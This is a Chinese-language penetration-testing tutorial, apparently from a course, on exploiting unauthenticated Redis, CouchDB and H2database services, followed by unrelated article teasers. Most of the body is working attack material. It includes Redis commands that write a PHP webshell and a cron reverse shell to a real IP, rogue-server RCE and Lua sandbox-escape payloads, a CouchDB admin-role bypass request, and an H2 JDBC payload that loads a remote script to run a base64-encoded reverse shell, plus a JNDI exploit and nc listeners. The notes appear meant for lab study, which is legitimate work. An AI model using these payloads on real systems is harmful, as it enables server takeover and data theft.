DAY78服务攻防-数据库安全RedisCouchDBH2database未授权访问CVE 漏洞

news2024/11/16 7:47:06

知识点:

1、数据库-Redis-未授权RCE&CVE

2、数据库-Couchdb-未授权RCE&CVE

3、数据库-H2database-未授权RCE&CVE

前置知识

1、复现环境:Vulfocus(官方在线的无法使用,需要自己本地搭建)

官方手册:https://fofapro.github.io/vulfocus/#/

本地搭建参考文章:https://blog.csdn.net/m0_60571842/article/details/135677318

2、服务判断:

端口扫描:利用服务开启后目标端口开放判断

组合判断:利用搭建常见组合分析可能开放服务

信息来源:访问端口提示软件版本,应用信息等

强弱特征:如框架shiro强特征rememberMe,SpringBoot默认页面等

3、对象类别:

对服务进行类别划分,通过服务功能理解,如数据库有帐号密码就有爆破利用方法,也可以针对服务公开的CVE进行漏洞测试及服务常见的错误安全配置导致的未授权访问等。

4、利用方法:

主要集中在CVE漏洞,未授权访问,弱口令爆破等

数据库应用-Redis-未授权访问&CVE漏洞

默认端口:6379

Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。Redis如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

Redis数据库可视化管理工具:https://github.com/qishibo/AnotherRedisDesktopManager/

未授权访问:CNVD-2015-07557

未授权登录

写Webshell需得到Web路径

利用条件:Web目录权限可读写

config set dir /tmp            #设置WEB写入目录

config set dbfilename 1.php    #设置写入文件名

set test "<?php phpinfo();?>"  #设置写入文件代码

save                           #保存执行

注意:部分web目录可能会没读写权限

find / -name 1.php

写定时任务反弹shell(需要等待1-2分钟才会反弹)

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.110.141/4789 0>&1\n\n"

config set dir /var/spool/cron/

config set dbfilename root

save

注意:

centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败

写入Linux ssh-key公钥

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态并允许使用密钥登录

本地生成公钥和私钥

将公钥写入到目标的.ssh文件夹

本地私钥ssh 连接

攻击机:ssh-keygen -t rsa  //执行生成key命令

自动化项目

GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE

python3 redis-rogue-server.py --rhost 1.92.144.175 --rport 25907 --lhost 1.92.144.175

输入r就是反弹shell,输入i就是直接返回一个shell给你执行命令

未授权访问-CNVD-2019-21763

由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

GitHub - vulhub/redis-rogue-getshell: redis 4.x/5.x master/slave getshell module

先编译

``` bash

cd RedisModulesSDK/

make

```

python3 redis-master.py -r 1.92.144.175 -p 39236 -L 1.92.144.175 -P 8888 -f RedisModulesSDK/exp.so -c "id"

未授权访问-沙箱绕过RCE-CVE-2022-0543

Poc:执行id命令

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

数据库应用-Couchdb-未授权越权&CVE漏洞

默认端口:5984

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和

CVE-2017-12636披露利用。

Couchdb 垂直权限绕过(CVE-2017-12635)

1、先创建用户

PUT /_users/org.couchdb.user:xiaodi HTTP/1.1

Host: 47.94.236.117:44389

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 108

{

  "type": "user",

  "name": "xiaodi",

  "roles": ["_admin"],

  "roles": [],

  "password": "xiaodi"

}

2、登录用户验证

Get:/_utils/

xiaodi xiaodi

Couchdb 命令执行 (CVE-2017-12636)

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

1、下载exp.py
2、修改目标和反弹地址
3、Python3调用执行即可

python3 couchdb.py

数据库应用-H2database–未授权访问&CVE漏洞

默认端口:20051

Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。

H2database RCE(CVE-2022-23221)

未授权进入

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

RCE执行反弹

攻击机上完成,创建数据库文件:h2database.sql

CREATE TABLE test (

     id INT NOT NULL

 );

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';

#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1

启动提供SQL文件远程加载服务

python3 -m http.server 89

目标填入Payload使其加载远程SQL

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://1.92.144.175:89/h2database.sql';\

攻击机上监听

nc -lvvp xxxx

JNDI注入

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjkyLjE0NC4xNzUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A 1.92.144.175

//反弹shell命令就行base64编码

/bin/sh -i >& /dev/tcp/192.168.100.1/6666 0>&1

攻击端监听就行:

nc -lvvp 6666

将生成出来的所提供的服务,输入到界面当中,进行连接
指定驱动类:

javax.naming.InitialContext

反弹失败了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2155834.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

20240922 每日AI必读资讯

OpenAI 首席科学家 MIT演讲&#xff01; - 揭示 o1模型训练核心秘密&#xff1a; 通过激励模型学习是培养 AGI 系统通用技能的最佳方式。 - 提出了类比“教人钓鱼”的方式&#xff0c;强调激励学习的重要性&#xff1a;“授人以鱼&#xff0c;不如授人以渔”&#xff0c;但是…

机器视觉OpenCV

1. 环境配置 1.1 安装Python https://www.python.org/downloads/windows/ python-3.9.13-amd64 pip下载加速&#xff1a; pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple pip config set install.trusted-host mirrors.aliyun.com1.2 安装Ope…

串口RS232,485

RS232和RS485都是串口通信的变种 TTL 串口的波特率/频率&#xff1a;9600&#xff0c;115200等&#xff0c;表示在1s内&#xff0c;串口可以传输9600个高低电平 那串口通信时&#xff0c;高低电压的范围&#xff1a;TTL电平 TTL 的电平标准&#xff0c;理想状态下&#xff0…

通信工程学习:什么是NFV网络功能虚拟化

NFV&#xff1a;网络功能虚拟化 NFV&#xff08;Network Function Virtualization&#xff09;&#xff0c;即网络功能虚拟化&#xff0c;是一种通过虚拟化技术实现网络功能的技术手段。它借鉴了x86服务器的架构&#xff0c;将传统的网络硬件设备如路由器、交换机、防火墙、负载…

SOMEIP_ETS_123: SD_Length_of_Entry_Array_longer_than_message_allows

测试目的&#xff1a; 验证DUT能够拒绝一个条目数组长度超出消息总长度的SubscribeEventgroup消息&#xff0c;并以SubscribeEventgroupNAck作为响应。 描述 本测试用例旨在确保DUT遵循SOME/IP协议&#xff0c;当接收到一个条目数组长度超出消息总长度的SubscribeEventgroup…

【数据结构与算法 | 灵神题单 | 二叉搜索树篇】力扣653

1. 力扣653&#xff1a;两数之和IV - 输入二叉搜索树 1.1 题目&#xff1a; 给定一个二叉搜索树 root 和一个目标结果 k&#xff0c;如果二叉搜索树中存在两个元素且它们的和等于给定的目标结果&#xff0c;则返回 true。 示例 1&#xff1a; 输入: root [5,3,6,2,4,null,7…

【Python从入门到进阶】65、Pandas如何批量拆分与合并Excel文件

接上篇《64、Pandas如何实现数据的Concat合并》 上一篇我们学习了Pandas如何实现数据的Concat合并&#xff0c;本篇我们来继续学习Pandas如何批量拆分与合并Excel文件。 一、引言 在当今数据驱动的时代&#xff0c;Excel文件作为数据处理和分析的基石&#xff0c;扮演着不可或…

xxl-job使用总结

xxl-job从入门到入土 xxl-job介绍 xxl-job是一个分布式任务调度平台&#xff0c;其核心设计目标是开发迅速、学习简单、轻量级、易扩展。xxl-job支持调度中心集群和执行器集群。 xxl-job开源项目 xxl-job使用 xxl-job整合SpringBoot 引入xxl-job的依赖 <dependency>…

SpringBoot 3.4.0还没来之前,又又又更新啦!SpringBoot 3.3.4版本依赖升级,性能与稳定性再提升!

为什么要使用SpringBoot在现代开发中&#xff0c;高效与灵活性是每个开发团队追求的核心目标。然而&#xff0c;如何在不牺牲灵活性的前提下&#xff0c;快速构建复杂的应用程序&#xff0c;常常成为开发者的难题。SpringBoot的出现&#xff0c;正是为了解决这个矛盾。它以“约…

【Linux】【Hadoop】大数据基础实验一

实验一&#xff1a;熟悉常用的Linux操作和Hadoop操作 一、实验目的 Hadoop运行在Linux系统上&#xff0c;因此&#xff0c;需要学习实践一些常用的Linux命令。本实验旨在熟悉常用的Linux操作和Hadoop操作&#xff0c;为顺利开展后续其他实验奠定基础。 二、实验平台 操作系统…

从 Affine Particle-In-Cell (APIC) 到 Material Point Method (MPM 物质点法)

APIC与MPM Particle-In-Cell (PIC)Affine Particle-In-Cell (APIC)Material Point Method (MPM)关于边界投影等额外操作 Material Point Method (MPM 物质点法)是一种混合欧拉-拉格朗日视角物理仿真方法。 欧拉视角即网格视角&#xff0c;将空间划分为网格&#xff0c;通过表示…

【永磁同步电机(PMSM)】 5. PMSM 的仿真模型

【永磁同步电机&#xff08;PMSM&#xff09;】 5. PMSM 的仿真模型 1. 基于 Simulink 的仿真模型1.1 PMSM 的数学模型1.2 Simulink 仿真模型1.3 模块封装&#xff08;mask&#xff09;1.4 三相PMSM矢量控制仿真模型 2. Simscape 的 PMSM 模块2.1 PMSM 模块的配置2.2 PMSM 模块…

秃头篇——二叉树进阶算法题

一、根据二叉树创建字符串 题目&#xff1a; 思路&#xff1a;这个题很明显需要我们采用二叉树的递归实现&#xff08;前序遍历&#xff09;&#xff0c;但有一个注意的点&#xff1a;空括号能不能省略的问题&#xff0c;其实我们发现只要左为空&#xff0c;右不为空不能省略括…

[JavaEE] 网络初识(网络通信 及 TCP / UDP / IP 封装分用 )

Author&#xff1a;MTingle major:人工智能 --------------------------------------- Build your hopes like a tower! 文章目录 目录 文章目录 一. 网络通信基础 1. 局域网LAN 2. ⼴域⽹WAN 3. IP地址 4. 端口号 二.协议 1. 五元组 2. 协议分层 协议分层的优点: 3. OSI七层协…

OJ在线评测系统 后端开发数据库初始化工作 开发库表 建立数据库索引 Mybatis映射初始化接口开发

后端接口开发库表设计 项目主业务流程的开发 1.用户模块 注册&#xff08;后端已实现&#xff09; 登录&#xff08;后端已实现 前端已实现&#xff09; 2.题目模块 创建题目&#xff08;管理员&#xff09; 删除题目&#xff08;管理员&#xff09; 修改题目&#xff0…

基于SpringBoot+Vue+MySQL的校园一卡通系统

系统展示 用户前台界面 管理员后台界面 系统背景 随着现代社会的快速发展&#xff0c;校园一卡通已成为大学生活中不可或缺的一部分。它不仅承载着校园消费的功能&#xff0c;还集成了学生身份证明、图书馆借阅、门禁系统等多种服务。然而&#xff0c;传统的一卡通管理系统往往…

阿里HPN-用于大型语言模型训练的数据中心网络

阿里巴巴HPN:用于大型语言模型训练的数据中心网络 探索大规模语言模型训练新方法&#xff1a;阿里巴巴HPN数据中心网络论文。 摘要 本文介绍了阿里云用于大型语言模型(LLM)训练的数据中心网络HPN。由于LLM和一般云计算之间的差异(例如&#xff0c;在流量模式和容错性方面)&…

【机器学习】12-决策树1——概念、特征选择

机器学习10-决策树1 学习样本的特征&#xff0c;将样本划分到不同的类别&#xff08;分类问题&#xff09;或预测连续的数值&#xff08;回归问题&#xff09;。 选择特征&#xff0c;划分数据集&#xff0c;划分完成形成模型&#xff08;树结构&#xff09;&#xff0c;一个…

新手必看:一步步教你绑定常见邮箱到第三方应用(如何绑定QQ、163、Hotmail、Gmail等邮箱)

文章目录 📖 介绍 📖🏡 演示环境 🏡📒 邮箱绑定 📒📫 QQ邮箱📫 163邮箱📫 Hotmail邮箱📫 Gmail邮箱📫 Yahoo邮箱📫 iCloud邮箱📫 其他邮箱⚓️ 相关链接 ⚓️📖 介绍 📖 你是否曾经为绑定第三方邮箱而感到困惑?你不是一个人!许多人在尝试将QQ邮…

QT创建菜单

增加显示信息